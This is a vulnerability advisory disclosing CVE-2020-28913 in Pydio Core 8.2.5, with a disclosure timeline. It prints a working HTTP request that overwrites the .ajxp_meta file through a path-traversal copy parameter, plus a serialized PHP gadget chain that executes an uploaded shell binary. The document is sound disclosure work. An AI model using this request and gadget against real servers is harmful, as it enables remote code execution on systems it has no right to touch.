Pydio (formerly AjaXplorer) is an open source web application for remotely managing and sharing files. Users may upload files to the server and then are enabled to share files with public links in a similar way that Google Drive, Dropbox, or other cloud services work.
By sending a file copy request with a special HTTP variable used in code, but not exposed in the web UI, an attacker can overwrite the .ajxp_meta file. The .ajxp_meta file is a serialized PHP object written to the user’s directory and is deserialized when Pydio needs information about files it stores.
POST /pydio/index.php? HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com/pydio/ws-my-files/
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://example.com
Content-Length: 124
Connection: close
Cookie: AjaXplorer=ak7jio5pphe6onko1gcofj05k4
get_action=copy&targetBaseName=../.ajxp_meta&dir=%2F&nodes[]=%2Fpayload&dest=%2F&secure_token=sG9TmYIkNsWTEEx5p5qLCHJcty0MfyQ3
Note the HTTP variable targetBaseName
which defines a new name for the file copy. This variable is not checked to prevent overwriting special files. After uploading a file called payload containing our PHP gadget, we copy it over the .ajxp_meta file.
The contents of the payload file you can override the .ajxp_meta with may look similar to this PHP gadget. In tools like phpggc, which store collection of gadgets, there are a few that looked promising. However, in my own testing, none of the gadgets worked and I didn’t dig enough to find out why. Instead, I found a class used to generate Captcha images, which allowed you define a custom SoX binary path (so the captcha can be read for accessibility). This was my first foray into PHP gadgets and the path to finding this class was haphazard at best.
O:26:"GuzzleHttp\Stream\FnStream":1:{s:9:"_fn_close";a:2:{i:0;O:10:"Securimage":7:{s:13:"wordlist_file";s:62:"/usr/share/pydio/core/vendor/dapphp/securimage/words/words.txt";s:12:"captcha_type";i:2;s:13:"audio_use_sox";b:1;s:15:"sox_binary_path";s:56:"/var/lib/pydio/personal/atredis/shell.elf";s:13:"database_file";s:47:"/var/lib/pydio/personal/atredis/fdsa.db";s:12:"use_database";b:1;s:9:"namespace";s:4:"fdsa";}i:1;s:15:"outputAudioFile";}}
The above PHP object gadget will attempt to run a binary file that has been uploaded to the user's directory called shell.elf
. We do make an assumption about a path on the server by passing an absolute path to the shell binary we uploaded. During testing, the location in the gadget was the default location with no special Pydio configurations.
This vulnerability affects the last release of Pydio Core (8.2.5) and likely many versions prior. Git blame places the code originally being committed in late 2016.
Pydio Core is considered End-of-Life by the Pydio developers and, as such, will receive no security patches going forward. Pydio Enterprise users should contact Pydio directly to mitigate the issue. The Pydio developers encourage users to upgrade to Pydio Cells, which is a complete rewrite of Pydio in Go and is not vulnerable.
* 2020-09-03: Atredis Partners sent an initial notification to vendor, including a draft advisory.
* 2020-10-26: Atredis Partners sends an initial notification to CERT/CC (VRF#20-10-SWJYN).
* 2020-11-17: CVE-2020-28913 assigned by MITRE
* 2020-12-07: Atredis Partners publishes this advisory.
This blog post was written by Brandon Perry, technical peer review by Dion Blazakis, and edited for the web by Lacey Kasten at Atredis Partners.